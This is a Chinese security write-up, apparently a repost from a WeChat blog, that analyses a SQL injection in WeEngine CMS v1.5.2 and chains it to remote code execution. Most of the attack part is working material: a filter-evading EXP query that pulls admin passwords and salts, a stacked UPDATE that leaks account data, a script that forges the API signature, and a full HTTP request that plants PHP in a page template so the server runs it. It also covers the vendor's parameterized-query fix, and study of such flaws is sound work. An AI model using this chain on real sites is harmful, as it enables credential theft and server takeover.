微擎 CMS:从 SQL 到 RCE

渗透技巧 3年前 (2021) admin
1,654 0 0

0x01 写在前面

微擎 CMS 在 2.0 版本的时候悄咪咪修复了一处 SQL 注入漏洞:

api.php536 行

微擎 CMS:从 SQL 到 RCE

该处的注入漏洞网上没有出现过分析文章,因此本文就来分析一下该处 SQL 注入的利用。

注意:本文仅作学习,请勿用于非法行为。

0x02 影响版本

经过测试发现,官网在 GitLee 上,在 v1.5.2 存在此漏洞,在 2.0 版本修复了该漏洞,因此目测至少影响到 v1.5.2 版本

0x03 SQL 注入漏洞分析

这个注入漏洞分析还是比较简单的,直接定位到存在漏洞的代码处api.php 530 行开始、564 行开始的两个函数:


private function analyzeSubscribe(&$message) {
global $_W;
$params = array();
$message['type'] = 'text';
$message['redirection'] = true;
if(!empty($message['scene'])) {
$message['source'] = 'qr';
$sceneid = trim($message['scene']);
$scene_condition = '';
if (is_numeric($sceneid)) {
$scene_condition = " `qrcid` = '{$sceneid}'";
}else{
$scene_condition = " `scene_str` = '{$sceneid}'";
}
$qr = pdo_fetch("SELECT `id`, `keyword` FROM " . tablename('qrcode') . " WHERE {$scene_condition} AND `uniacid` = '{$_W['uniacid']}'");
if(!empty($qr)) {
$message['content'] = $qr['keyword'];
if (!empty($qr['type']) && $qr['type'] == 'scene') {
$message['msgtype'] = 'text';
}
$params += $this->analyzeText($message);
return $params;
}
}
$message['source'] = 'subscribe';
$setting = uni_setting($_W['uniacid'], array('welcome'));
if(!empty($setting['welcome'])) {
$message['content'] = $setting['welcome'];
$params += $this->analyzeText($message);
}

return $params;
}

private function analyzeQR(&$message) {
global $_W;
$params = array();
$params = $this->handler($message['type']);
if (!empty($params)) {
return $params;
}
$message['type'] = 'text';
$message['redirection'] = true;
if(!empty($message['scene'])) {
$message['source'] = 'qr';
$sceneid = trim($message['scene']);
$scene_condition = '';
if (is_numeric($sceneid)) {
$scene_condition = " `qrcid` = '{$sceneid}'";
}else{
$scene_condition = " `scene_str` = '{$sceneid}'";
}
$qr = pdo_fetch("SELECT `id`, `keyword` FROM " . tablename('qrcode') . " WHERE {$scene_condition} AND `uniacid` = '{$_W['uniacid']}'");

}
if (empty($qr) && !empty($message['ticket'])) {
$message['source'] = 'qr';
$ticket = trim($message['ticket']);
if(!empty($ticket)) {
$qr = pdo_fetchall("SELECT `id`, `keyword` FROM " . tablename('qrcode') . " WHERE `uniacid` = '{$_W['uniacid']}' AND ticket = '{$ticket}'");
if(!empty($qr)) {
if(count($qr) != 1) {
$qr = array();
} else {
$qr = $qr[0];
}
}
}
}
if(!empty($qr)) {
$message['content'] = $qr['keyword'];
if (!empty($qr['type']) && $qr['type'] == 'scene') {
$message['msgtype'] = 'text';
}
$params += $this->analyzeText($message);
}
return $params;
}

analyzeSubscribe函数中的 SQL 语句:

 $qr = pdo_fetch("SELECT `id`, `keyword` FROM " . tablename('qrcode') . " WHERE {$scene_condition} AND `uniacid` = '{$_W['uniacid']}'");

直接将$scene_condition变量拼接到了pod_fetch函数中,而$scene_condition变量值来自于$sceneid = trim($message['scene']);,可以看到仅仅是做了移除字符串两侧空白字符处理。那么就可以通过构造$message['scene']的值,去构造 SQL 语句。

analyzeQR函数中也是类似,因此我们以analyzeSubscribe函数为例来分析构造poc。

0x04 SQL 注入构造分析

微擎中为了避免 SQL注入,实现了包括参数化查询、关键字&字符过滤的方式。

过滤的内容如下:

framework/class/db.class.php 700 行:


private static $disable = array(
'function' => array('load_file', 'floor', 'hex', 'substring', 'if', 'ord', 'char', 'benchmark', 'reverse', 'strcmp', 'datadir', 'updatexml', 'extractvalue', 'name_const', 'multipoint', 'database', 'user'),
'action' => array('@', 'intooutfile', 'intodumpfile', 'unionselect', 'uniondistinct', 'information_schema', 'current_user', 'current_date'),
'note' => array('/*', '*/', '#', '--'),
);

可以看到禁用了以下函数:

  • load_file、floor、hex、substring、if、ord、char、benchmark、reverse、reverse、strcmp、datadir、datadir、updatexml、extractvalue、name_const、multipoint、database、user

禁用了以下关键字:

  • @、into outfile、into dumpfile、union select、union all、union distinct、information_schema、current_user、current_date

禁用了以下注释符:

  • /**/--#

所以对于构造 payload 来说还是造成了一定的麻烦。

首先将函数中 SQL 语句还原如下:

 SELECT `id`, `keyword` FROM ims_qrcode where `scene_str` = ? and uniacid = $_W['uniacid'];

那么如果我们想查询到管理员账号密码且不包含相关敏感字符,则可以使用 exp语句,如下示例:

 SELECT `id`, `keyword` FROM ims_qrcode where `scene_str` = 1 AND(EXP(~(SELECT*from(select group_concat(0x7B,uid,0x23,password,0x23,salt,0x23,lastvisit,0x23,lastip,0x7D) from we7.ims_users)a))) and uniacid = $_W['uniacid'];

具体构建由于本地 MySQL 版本不合适,因此就不写了。

这里来说下另一种注入方式。

我们知道微擎里的 SQL 语句使用的是 PDO 查询,因此支持堆叠注入。

但要注意的是,使用 PDO 执行 SQL 语句时,虽然可以执行多条 SQL语句,但只会返回第一条 SQL 语句的执行结果,所以第二条语句中需要使用 update 更新数据且该数据我们可以通过页面看到,这样才可以获取数据。

经过测试发现,微擎支持注册用户,如下图所示:

微擎 CMS:从 SQL 到 RCE

登陆后可以在个人中心看到:

微擎 CMS:从 SQL 到 RCE

邮寄地址就是一个很好的显示地方,也就是说可以执行以下语句。

 update ims_users_profile set address=(select username from ims_users where uid =1 ) where uid=2;

语句中的2是注册后账号的uid,可以从 cookie中找到:

微擎 CMS:从 SQL 到 RCE

但是这里有一个问题,就是在我们注入的时候,首先要验证:

api.php 181行:


if(empty($this->account)) {
exit('Miss Account.');
}
if(!$this->account->checkSign()) {
exit('Check Sign Fail.');
}

跟进checkSign()


public function checkSign() {

        $arrParams = array(
$token = $this->account['token'],
$intTimeStamp = $_GET['timestamp'],
$strNonce = $_GET['nonce'],
);
sort($arrParams, SORT_STRING);
$strParam = implode($arrParams);
$strSignature = sha1($strParam);

return $strSignature == $_GET['signature'];
}

可以看到有三个变量需要我们去验证,其生成规则在api.php 129 行的encrypt函数,如下:


public function encrypt() {
global $_W;
if(empty($this->account)) {
exit('Miss Account.');
}
$timestamp = TIMESTAMP;
$nonce = random(5);
$token = $_W['account']['token'];
$signkey = array($token, TIMESTAMP, $nonce);
sort($signkey, SORT_STRING);
$signString = implode($signkey);
$signString = sha1($signString);

$_GET['timestamp'] = $timestamp;
$_GET['nonce'] = $nonce;
$_GET['signature'] = $signString;
$postStr = file_get_contents('php://input');
if(!empty($_W['account']['encodingaeskey']) && strlen($_W['account']['encodingaeskey']) == 43 && !empty($_W['account']['key']) && $_W['setting']['development'] != 1) {
$data = $this->account->encryptMsg($postStr);
$array = array('encrypt_type' => 'aes', 'timestamp' => $timestamp, 'nonce' => $nonce, 'signature' => $signString, 'msg_signature' => $data[0], 'msg' => $data[1]);
} else {
$data = array('', '');
$array = array('encrypt_type' => '', 'timestamp' => $timestamp, 'nonce' => $nonce, 'signature' => $signString, 'msg_signature' => $data[0], 'msg' => $data[1]);
}
exit(json_encode($array));
}

其中timestamp是时间戳、nonce是5 位随机字符串、signature是由 sha1加密后的$signString,而$signString是由 tokentimestampnonce组成。可以看到,是硬编码生成,因此可以通过print_r($_W)得到token值,如下:

微擎 CMS:从 SQL 到 RCE

所以可以利用以下代码生成:


<?php
$timestamp = time();
$nonce = random(5);
$token = "omJNpZEhZeHj1ZxFECKkP48B5VFbk1HP";
$signkey = array($token, $timestamp, $nonce);
sort($signkey, SORT_STRING);
$signString = implode($signkey);
$signString = sha1($signString);
echo $timestamp . " | ".$nonce." | ".$signString;
function random($length) {
$strs = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklnmopqrstuvwxyz0123456789';
$result = substr(str_shuffle($strs),mt_rand(0,strlen($strs)-($length + 1)),$length);
return $result;
}
?>

得到:

 1622388248 | SATNv | d886b80d868b6fb1038c77f1f26ae5f2891a3b22

然后根据官网文档中的消息格式:

微擎 CMS:从 SQL 到 RCE

所以最终的 payload 为:

微擎 CMS:从 SQL 到 RCE

最终在个人中心可以看到:

微擎 CMS:从 SQL 到 RCE

但是这种方式比较鸡肋和费事,一是解密非常难,二是如果直接添加账号也会留下很多痕迹,三是即是登录后,还要拿 shell。

那么有没有一步到位的方法?

0x05 从 SQL 到 RCE

/app/source/home/page.ctrl.php文件:


$do = in_array($do, $dos) ? $do : 'index';
$id = intval($_GPC['id']);

if($do == 'getnum'){
$goodnum = pdo_get('site_page', array('id' => $id), array('goodnum'));
message(error('0', array('goodnum' => $goodnum['goodnum'])), '', 'ajax');
} elseif($do == 'addnum'){
if(!isset($_GPC['__havegood']) || (!empty($_GPC['__havegood']) && !in_array($id, $_GPC['__havegood']))) {
$goodnum = pdo_get('site_page', array('id' => $id), array('goodnum'));
if(!empty($goodnum)){
$updatesql = pdo_update('site_page', array('goodnum' => $goodnum['goodnum'] + 1), array('id' => $id));
if(!empty($updatesql)) {
isetcookie('__havegood['.$id.']', $id, 86400*30*12);
message(error('0', ''), '', 'ajax');
}else {
message(error('1', ''), '', 'ajax');
}
}
}
} else {
$footer_off = true;
template_page($id);
}


首先判断$do的类型,如果不是getnumaddnum时,进入template_page函数。

跟进/app/common/template.func.php 111行:


function template_page($id, $flag = TEMPLATE_DISPLAY) {
global $_W;
$page = pdo_fetch("SELECT * FROM ".tablename('site_page')." WHERE id = :id LIMIT 1", array(':id' => $id));
if (empty($page)) {
return error(1, 'Error: Page is not found');
}
if (empty($page['html'])) {
return '';
}
$page['html'] = str_replace(array('<?', '<%', '<?php', '{php'), '_', $page['html']);
$page['html'] = preg_replace('/<s*?script.*(src|language)+/i', '_', $page['html']);
$page['params'] = json_decode($page['params'], true);
$GLOBALS['title'] = htmlentities($page['title'], ENT_QUOTES, 'UTF-8');
$GLOBALS['_share'] = array('desc' => $page['description'], 'title' => $page['title'], 'imgUrl' => tomedia($page['params']['0']['params']['thumb']));;

$compile = IA_ROOT . "/data/tpl/app/{$id}.{$_W['template']}.tpl.php";
$path = dirname($compile);
if (!is_dir($path)) {
load()->func('file');
mkdirs($path);
}
$content = template_parse($page['html']);
if (!empty($page['params'][0]['params']['bgColor'])) {
$content .= '<style>body{background-color:'.$page['params'][0]['params']['bgColor'].' !important;}</style>';
}
$GLOBALS['bottom_menu'] = $page['params'][0]['property'][0]['params']['bottom_menu'];
file_put_contents($compile, $content);
switch ($flag) {
case TEMPLATE_DISPLAY:
default:
extract($GLOBALS, EXTR_SKIP);
template('common/header');
include $compile;
template('common/footer');
break;
case TEMPLATE_FETCH:
extract($GLOBALS, EXTR_SKIP);
ob_clean();
ob_start();
include $compile;
$contents = ob_get_contents();
ob_clean();
return $contents;
break;
case TEMPLATE_INCLUDEPATH:
return $compile;
break;
}
}



首先根据idims_site_page数据表里读取页面信息,然后过滤掉敏感信息,最后通过file_put_contents写入到$compile,然后在switch中被包含include $compile;

因此我们可以利用 SQL 注入,向ims_site_page表中插入一句话数据。如下:

 POST /wq/new/api.php?id=1&timestamp=1622388248&nonce=SATNv&signature=d886b80d868b6fb1038c77f1f26ae5f2891a3b22 HTTP/1.1
 Host: 192.168.49.47
 Pragma: no-cache
 Cache-Control: no-cache
 Upgrade-Insecure-Requests: 1
 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
 Accept-Encoding: gzip, deflate
 Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7
 Connection: close
 Content-Length: 440
 
 <xml>
 <ToUserName>one</ToUserName>
 <FromUserName>two</FromUserName>
 <CreateTime>1348831806</CreateTime>
 <MsgType>qr</MsgType>
 <Content>test</Content>
 <type>text</type>
 <Event>hello</Event>
 <scene>test';insert into ims_site_page(id,uniacid,multiid,title,description,params,html,multipage,type,status,createtime,goodnum) values(1,1,1,'4','5','[{"params":{"thumb":""}}]','{if phpinfo())?>//}','8','9','10','11','12');</scene>
 </xml>

微擎 CMS:从 SQL 到 RCE

这里的模板内容PHP 代码可以参考:

PHP语句:

https://www.kancloud.cn/hl449006540/we-engine-datasheet/1103542

然后根据官网文档路由介绍https://www.kancloud.cn/hl449006540/we-engine-datasheet/1103484

微擎 CMS:从 SQL 到 RCE

则有:

微擎 CMS:从 SQL 到 RCE

成功执行代码

0x06 漏洞修复

这个漏洞主要就是由 SQL 注入引起的,因此修复 SQL 注入后,后续的包含也没法继续利用了。

官方修复方式如下:

微擎 CMS:从 SQL 到 RCE

改成了微擎自带的参数化查询。

0x07 写在最后

由于这个是老洞了,所以在搭建上坑点不少,但是漏洞很好理解。

最后感谢续师傅的指导,周末还继续带我学习(膜~

0x08 参考

https://www.kancloud.cn/donknap/we7/134649

https://www.kancloud.cn/hl449006540/we-engine-datasheet/1103542

https://wiki.w7.cc/chapter/35?id=507

https://gitee.com/we7coreteam/pros/commit/1f5ffb82836f7602f3acbaf9e93e9aa087c93579)


原文始发于微信公众号(技术猫屋):微擎 CMS:从 SQL 到 RCE

版权声明:admin 发表于 2021年5月31日 上午4:01。
转载请注明:微擎 CMS:从 SQL 到 RCE | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...